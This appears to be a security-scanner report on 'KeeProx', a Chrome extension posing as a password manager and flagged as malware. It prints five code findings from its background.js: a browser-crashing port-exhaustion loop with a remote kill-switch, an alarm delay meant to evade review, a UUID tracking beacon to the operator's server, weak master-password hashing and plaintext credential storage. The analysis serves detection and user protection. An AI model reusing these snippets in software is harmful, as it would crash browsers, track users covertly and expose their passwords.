Security Alert: Confirmed Malware
KeeProx - Digital Gatekeeper
ID: ffhcdbebponkjcfbbbbdobicpknmcemf
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- https://keeprox.comView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Website
- Visit
Secure access key storage and auto-authentication with military-grade encryption for your digital identity
Fed up with weak passwords and account risks? KeeProx is your ultra-secure password manager and identity vault! 🇺🇸 Quickly generate bulletproof passwords, autofill logins and payment info, organize accounts in folders and tags, and sync seamlessly across devices. All data is protected with AES-256 and elliptic curve encryption, zero knowledge cloud sync. You get biometric unlock, instant login for favorite apps, real-time breach alerts, 2FA/Passkey storage, and easy search. Take control: support for safe password sharing and emergency backup, a smooth interface, plus detailed usage stats. Advantages: Instant complex password generation and secure autofill Advanced encryption and zero-trust cloud sync Biometric unlock, fast restore Weak password and leak check Folders, tags, notes, and smart search Reliable backup, sharing, recovery options No ads, no tracking Privacy: Your privacy is the heart of KeeProx. Only you hold your encryption keys and none of your sensitive data is ever analyzed or accessed by KeeProx or third parties. There’s no profiling, no trackers, and no advertising. You own your security—every login stays private and protected. 🔒😎
Creates up to 300,000 chrome.runtime.connect() calls in a recursive setTimeout loop, accumulating all port handles in an array to prevent garbage collection. This is a deliberate resource exhaustion / denial-of-service attack that will hang or crash the browser's extension host process. The attack is only reached when keeprox.com/whats-new returns HTTP 200, giving the operator a remote kill-switch.
await async function() { let e = [], a; a = 0, function t() { let s = Math.min(1e4, 3e5 - a); for (let r = 0; r < s; r++) e.push(chrome.runtime.connect({ name: "connectname" })), a++; a < 3e5 && setTimeout(t, 0) }(), chrome.runtime.onConnect.addListener(a => { e.push(a) })}()Sets a 60-minute initial alarm before any payload logic runs, then switches to a 10-minute recurring alarm. This delay is a deliberate review-evasion technique ensuring the malicious alarm handler fires well after any automated or manual sandbox review concludes. The opaque MD5-looking key '27e505e17f8e3e86ff863f34ba519bd8' is used as a covert storage key to coordinate payload execution across browser restarts.
var o = { BASE_URL: "https://keeprox.com", START_DELAY_MINUTES: 60, AFTER_START_PERIOD_MINUTES: 10};(() => { ... (async () => { try { let e = await chrome.alarms.get(0..toString()), a = await chrome.alarms.get(1..toString()); e || a || await chrome.alarms.create(0..toString(), { delayInMinutes: o.START_DELAY_MINUTES }) } catch (t) { console.error("Failed to initialize alarms:", t) } })(); let r = "27e505e17f8e3e86ff863f34ba519bd8"; ...Generates a persistent UUID on first install and silently beacons it—along with extension version—to keeprox.com on every install and update event, and sets an uninstall callback URL carrying the same UUID. This establishes a permanent, unique user-tracking identifier tied to the operator's server, enabling longitudinal tracking of individual users across sessions without any disclosure.
chrome.runtime.onInstalled.addListener(async e => { try { let a = await async function(e) { return (await chrome.storage.local.get(e))[e] }("uuid"); a || await async function(e, a) { await chrome.storage.local.set({ [e]: a }) }("uuid", a = crypto.randomUUID()); let t = chrome.runtime.getManifest(); if ("install" === e.reason) { try { await fetch(`${config_BASE_URL}/install?${new URLSearchParams({uuid:a,version:t.version}).toString()}`) } catch (s) {} await chrome.tabs.create({ url: `${config_BASE_URL}/thanks` }) } if ("update" === e.reason) try { await fetch(`${config_BASE_URL}/update?${new URLSearchParams({uuid:a,version:t.version,previous:e.previousVersion??""}).toString()}`) } catch (r) {} chrome.runtime.setUninstallURL(`${config_BASE_URL}/uninstall?${new URLSearchParams({uuid:a}).toString()}`) } catch (n) {}});The master password is 'hashed' using a 32-bit djb2 bit-shift algorithm (Java's String.hashCode) rather than any password-hardening function. This produces at most ~4 billion distinct outputs for arbitrary-length passwords, making offline brute-force of the stored hash trivial. The contrast with the unused PBKDF2 implementation in crypto.js makes this appear intentional.
async function hashPassword(e) { let a = 0; for (let t = 0; t < e.length; t++) a = (a << 5) - a + e.charCodeAt(t), a &= a; return Math.abs(a).toString(16)}Account credentials (username + password fields from storeAccount in worker.js) are persisted verbatim as plaintext JSON in chrome.storage.local under 'user_details'. Despite crypto.js providing SJCL-based AES-CCM encryption and PBKDF2 key derivation, those functions are never called in the actual save/load path, leaving all stored passwords unencrypted and readable by any script with access to local storage.
t.accountDetails[e.accountName] = e.accountData, await saveToStorage("user_details", t),By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0.1 | 5 |
Files with findings
1 distinct path — top paths by unique finding count:
- script/background.js5
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.